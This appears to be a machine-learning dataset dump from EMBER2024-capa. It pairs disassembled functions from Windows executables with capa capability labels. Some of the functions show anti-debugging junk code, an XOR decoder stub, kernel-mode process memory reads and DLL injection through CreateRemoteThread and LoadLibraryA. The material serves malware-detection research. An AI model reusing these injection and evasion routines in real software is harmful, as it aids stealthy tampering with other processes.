joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14314df32
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r12d, 0x46c07253
xchg byte [rsp + 0xe], bl
mov r12, qword [rsp + 0x27]
jmp 0x14314df91
mov r10, qword [rsp + 0x33]
push qword [rsp + 8]
lea r14, [rax + rax]
xchg dword [rsp + 0x39], ebx
pop r12w
pop word [rsp + 0x1b]
jmp 0x14314dfde
mov r13, qword [rsp + 0x34]
mov r9w, dx
lea r9, [rsi + r14]
mov r15w, word [rsp + 0xa]
lea r10, [rcx + r14]
xchg word [rsp + 0xa], r13w
jmp 0x14314df70
mov word [rsp + 0x1c], r15w
rdtsc
lea rsp, [rsp + 1]
mov r12w, word [rsp + 0x1f]
xchg byte [rsp + 0x28], bpl
std
jmp 0x14314e25a
lea rsi, [rbp + riz - 0x680b]
cmp r10w, 0x66f5
jmp 0x14314e076
mov rcx, 0xffffffffb3cd0023
sub rsp, 0xf
mov dil, bl
mov word [rsp + 0x27], cx
mov r12, rax
pop rdx
jmp 0x14314e028
xchg r9b, dil
pop r12w
rol r14b, cl
mov dword [rsp + 0x1a], esi
bsr r9d, ebx
neg r12b
jmp 0x14314e0f2
pop rbx
mov dl, 0xad
mov esp, 0x4cd5f741
mov ebx, dword [rsp + 0x14]
not r13d
mov r11, qword [rsp + 0x14]
pop qword [rsp + 0x20]
neg rdi
push word [rsp + 9]
xchg r9b, cl
jmp 0x14314e057
pop r10
push qword [rsp + 0xa]
neg r12
mov ax, 0xfd7d
rdtsc
push word [rsp + 3]
jmp 0x14314e03e
clc
push qword [rsp + 3]
xchg ebp, r12d
call fcn.14314e0b9
int1
imul edi, ecx, 0x11de6b98
mov bl, byte [rax]
jg 0x14314e072
and esi, dword [rcx + reloc.libmysql.dll_mysql_server_end]
add dl, 0x7d
lea r13, [rdi + riz - 0x718cc3f0]
lea r13, [rdi + riz - 0x718cc3f0]
add rsp, 0x21
rcl ecx, 9
bts r12d, edx
mov r11b, al
shl edx, 0x1e
jmp 0x14314e0cf
mov r8w, 0xcc6d
add rsp, 0xd
xchg r8d, edi
xchg ebp, eax
mov r11d, r9d
mov dword [rsp + 0x26], ebx
jmp 0x14314e0a2

Function at 0x14314e6a4
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop qword [rsp + 0x16]
xchg r10w, r12w
pop qword [rsp + 0xb]
jmp 0x14314e702
pop r14w
add rsp, 0x14
mov r9b, cl
mov dword [rsp + 1], r9d
jmp 0x14314e79f
lea rsp, [rsp + 0x12]
mov r9w, word [rsp + 0x1c]
bsr r12w, r8w
jmp 0x14314e6ec
std
mov rdi, r13
stc
mov esi, r11d
cpuid
mov dl, byte [rsp]
jmp 0x14314e778
add rsp, 0xa
cpuid
btr r14d, r12d
rcr di, cl
rdtsc
cmc
jmp 0x14314e73a
mov r13d, dword [rsp]
push r11w
mov dil, bpl
add rsp, 2
jmp 0x14314e7ca
mov r14b, 0xdf
lea rsp, [rsp]
xchg ebp, eax
cpuid
mov rdi, qword [rsp]
mov sil, 0xf8
jmp 0x14314e762
lea r12, [rsi + r9]
mov bl, 0x5a
xchg r13d, ebp
mov rsi, qword [rsp + 4]
xchg r9w, bx
clc
jmp 0x14314e750
lea rsp, [rsp]
add rsp, 0
xor esi, esi
std
lea rbx, [r9 + riz - 0x3b]
jmp 0x14314e7f9
mov sil, byte [rsp]
mov dil, byte [rsp]
xchg r8b, r13b
lea rdi, [rdx + r13]
setae r9b
add rsp, 0
jmp 0x14314e7b4
mov cl, 0xfe
xchg byte [rsp + 5], r10b
cpuid
pop word [rsp + 1]
jmp 0x14314e846
push r11
lea rbx, [rbx + riz]
lea rax, [rdx*4]
mov word [rsp + 5], r13w
jmp 0x14314e7e3
bt di, bx
xchg bpl, cl
cpuid
mov al, r8b
jmp 0x14314e87b
not r15w
mov dil, byte [rsp]
xchg word [rsp + 2], cx
bt r9d, r10d
xchg rsi, r9
jmp 0x14314e830
lea rbx, [r15 + riz - 0x565aac06]
inc ax
rcl rbp, cl
rdtsc
add rsp, 3
pop r13w
jmp 0x14314e8ba
sub r12d, r8d
inc cl
adc bl, r10b
not r12w
call fcn.14314e8cc
invalid
Function at 0x14314e9e1
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dil, byte [rsp + 0x10]
mov rbx, qword [rsp + 0x22]
mov rdx, r8
lea r15, [r13 + riz]
mov rsi, 0x1f8a0d46
xchg r11b, r8b
jmp 0x14314ea2a
bswap r8
or esi, 0x779d219
jmp 0x14314e9b8
xchg bp, ax
mov r11, 0xffffffff8913a9e7
mov rdx, qword [rsp + 5]
jmp 0x14314ea5b
cld
push word [rsp + 8]
mov rdx, rbx
bswap edx
setl r10b
lea rsp, [rsp + 0x12]
jmp 0x14314e9ec
mov r15d, 0x61c04724
pop r11w
mov r9w, word [rsp + 0x1c]
mov dl, byte [rsp + 0x1f]
mov bx, dx
rdtsc
jmp 0x14314ea02
btc r13w, r11w
rdtsc
pop r12
mov r8d, 0xf4cb8055
jmp 0x14314eac1
btc r11, rax
lea rsi, [r15 + riz]
mov qword [rsp], rcx
lea rbx, [0xffffffffb0da4466]
jmp 0x14314ea45
lea rsp, [rsp + 6]
mov r12, qword [rsp + 0x18]
bswap ebx
setl r15b
jmp 0x14314eb06
mov rsi, rbp
lea r11, [0x25199eb7]
xchg qword [rsp + 4], r9
mov byte [rsp + 1], r9b
jmp 0x14314ea8f
bswap ebx
cpuid
neg esi
lea rsp, [rsp + 3]
lea rsp, [rsp + 7]
sub rsp, 0x1e
jmp 0x14314eaa5
mov r11, qword [rsp + 0x20]
bsr r13d, r14d
cld
neg edi
call fcn.14314ead7
adc byte [0xf734d78a], 4
mov bh, 0x41
mov cl, 0x3f
mov r9b, 0x3f
xchg r8b, cl
rdtsc
bswap r13d
mov edi, r11d
lea r15, [r13 + riz + 0x19ab]
jmp 0x14314eaed
Function at 0x140001290
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x20
xor ebp, ebp
mov rbx, rcx
lea r8d, [rbp + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14000133a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000133a
mov rcx, rax
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, 2
shr ebx, 1
lea ecx, [rbx + 1]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140001758
add rbx, rbx
mov rdx, rsi
mov r8, rbx
mov rcx, rax
mov rdi, rax
call fcn.1400026a0
mov rsi, qword [rsp + 0x30]
mov rax, rdi
mov word [rbx + rdi], bp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140005924
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005750
Function at 0x140001050
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x8079231
mov rbx, rcx
jne 0x1400010a7
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400010a7
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400010a7
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x1400010a7
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x1400010ac
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x1400010b4
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x8079231
mov rdi, rcx
jne 0x140001179
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001179
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001179
call fcn.140001190
mov rcx, qword [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rdi + 8]
mov rcx, rbx
mov rsi, qword [rdi + 0x18]
call fcn.1400013b8
test rax, rax
je 0x140001179
mov ecx, eax
mov edx, 0x1000
and ecx, 0xfff
sub edx, ecx
mov rcx, qword [rdi + 0x10]
cmp edx, esi
cmovl esi, edx
and qword [rsp + 0x48], 0
cmp byte [rdi + 0x20], 0
movsxd r8, esi
je 0x14000115c
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, rax
call fcn.140001594
jmp 0x140001175
lea rdx, [rsp + 0x48]
mov r9d, 1
mov qword [rsp + 0x20], rdx
mov rdx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x14000117e
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000461c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004666
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004666
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004666
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004666
cmp dword [rcx + 0x84], 0xe
jbe 0x140004666
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004668
xor al, al
add rsp, 0x28
ret

Function at 0x14000b400
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000b1f0
Function at 0x14001148c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400114bc
xor eax, eax
jmp 0x14001157f
mov rbp, rbx
cmp word [rax], si
je 0x1400114e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400114c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400114c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400113dc
movsxd r14, eax
test eax, eax
jne 0x14001151f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400114b5
mov rcx, r14
call fcn.14000cb48
mov rdi, rax
test rax, rax
jne 0x140011538
xor ecx, ecx
call fcn.14000c208
jmp 0x140011514
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400113dc
test eax, eax
jne 0x140011569
mov rcx, rdi
call fcn.14000c208
jmp 0x140011573
xor ecx, ecx
call fcn.14000c208
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400159ec
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400104e0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140015a76
cmp byte [rbp - 0x21], r15b
je 0x140015a71
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140015aac
call fcn.14000c45c
test eax, eax
jne 0x140015a98
cmp byte [rbp - 0x21], r15b
je 0x140015a90
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140015aac
cmp byte [rbp - 0x21], r15b
je 0x140015aa9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000fabc
test eax, eax
jne 0x140015b4c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400104e0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140015aeb
cmp byte [rbp - 0x21], r15b
je 0x140015b20
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140015b20
call fcn.14000c45c
test eax, eax
jne 0x140015b0c
cmp byte [rbp - 0x21], r15b
je 0x140015b05
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140015b20
cmp byte [rbp - 0x21], r15b
je 0x140015b1d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000fabc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140015b4c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140015b4f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140015b5d
mov rcx, rdi
call fcn.14000c208
cmp byte [rbp + 0x3f], r15b
je 0x140015b6c
mov rcx, qword [rbp + 0x27]
call fcn.14000c208
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140017e60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017e88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017e88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140d18058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140d181df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140d18089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d1806f
add dl, dl
jne 0x140d18096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d180f6
xor eax, eax
add dl, dl
jne 0x140d180a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d181ad
add dl, dl
jne 0x140d180b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d180c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d180d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d180dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140d180ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140d1807e
mov eax, 1
add dl, dl
jne 0x140d18106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d18113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d180fb
sub eax, ebx
mov ebx, 1
jne 0x140d1814c
mov ecx, 1
add dl, dl
jne 0x140d1812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d1813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d18123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d1807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140d18168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d18175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d1815d
cmp eax, 0x7d00
jae 0x140d1819b
cmp eax, 0x500
jb 0x140d18196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d1807e
cmp eax, 0x7f
ja 0x140d1819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d1807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140d181d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140d1807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x1009be55c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1009be566
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1009be58f
pop rbp
sub rbp, 0x33
sub rbp, 0x9be55c
sub rsp, 0x20
jmp 0x1009be5ae
mov rax, 0x9be55c
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xfffffffffadc92dd
ret 0x92dd
xor byte [rax], dl
inc rax
dec rcx
jne 0x1009be5cd
jmp 0x1009be5e4
xchg ebp, eax
push rsp
xor al, 0x56
push rsp
loope 0x1009be5c8
fstp st(5)
xchg ebp, eax
pop rsp
sbb al, 0xd5
invalid
Function at 0x140011339
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140014af0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x140024018]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14002a342]
call fcn.140011622
mov r8d, dword [rbp + 0x278]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
mov r8d, 0x104
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400114b5
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x30]
call fcn.140011280
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x30]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, [rbp - 0x40]
lea rdx, [0x1400202d0]
call fcn.14001151e
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.1400112fd
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret

Function at 0x140011370
Capabilities:
Terminate process

Disassembly:
jmp 0x1400180b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001145b
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400194e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019500
xor al, al
jmp 0x140019581
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019513
xor al, al
jmp 0x140019581
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001953d
xor al, al
jmp 0x140019581
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019551
xor al, al
jmp 0x140019581
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019563
xor al, al
jmp 0x140019581
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001957f
xor al, al
jmp 0x140019581
mov al, 1
add rsp, 0x38
ret
Function at 0x140010f58
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rsi, rcx
add rdx, 1
mov rbx, qword [rcx + 0x38]
xorps xmm0, xmm0
js 0x140010f88
cvtsi2ss xmm0, rdx
jmp 0x140010f9d
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [rcx]
call sub.api_ms_win_crt_private_l1_1_0.dll__o_ceilf
movss xmm1, dword [0x14004ae9c]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x140010fcb
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x140010fcb
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x140010ff9
cmp rbx, 0x200
jae 0x140010ff6
shl rbx, 3
cmp rbx, rcx
jae 0x140010ff9
mov rbx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rbx, rax
ja 0x140011177
lea rax, [rbx - 1]
mov edi, 1
mov rbx, qword [rsi + 8]
or rax, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.14000ee88
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14001112a
mov rcx, qword [rcx]
movabs r8, 0xcbf29ce484222325
xor r9d, r9d
movzx edx, byte [r9 + rax + 0x10]
movabs r10, 0x100000001b3
xor r8, rdx
inc r9
imul r8, r10
cmp r9, 4
jb 0x140011071
mov r11, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
and r11, r8
add r11, r11
cmp qword [rdi + r11*8], rbx
jne 0x1400110b0
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x14001111e
mov r10, qword [rdi + r11*8 + 8]
mov edx, dword [rax + 0x10]
cmp edx, dword [r10 + 0x10]
jne 0x1400110f3
mov r10, qword [r10]
cmp r10, rax
je 0x1400110a9
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1400110a9
mov r10, qword [r10 + 8]
cmp edx, dword [r10 + 0x10]
je 0x140011151
cmp qword [rdi + r11*8], r10
jne 0x1400110e9
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
jne 0x140011061
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1400111b0
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14001111e
lea rcx, str.invalid_hash_bucket_count
call fcn.140011b38
int3
Function at 0x14001b64c
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x14005a8e0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, r8
mov rbx, rdx
xor esi, esi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x30], rsi
movdqa xmm0, xmmword [0x14004aea0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], si
mov rdx, r9
lea rcx, [rbp - 0x30]
call fcn.14000d19c
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 2]
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001b70d
mov eax, dword [rbp - 0x20]
lea eax, [rax*2 + 2]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rcx, qword [rbp - 0x30]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r9d, [rsi + 1]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001b70d
mov ebx, esi
jmp 0x14001b722
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov ecx, ebx
call fcn.14000d0b0
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14001b737
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov ecx, ebx
call fcn.14000cfd4
nop
lea rcx, [rbp - 0x30]
call fcn.14000d240
mov eax, ebx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400339f0
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140029ec0
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x60
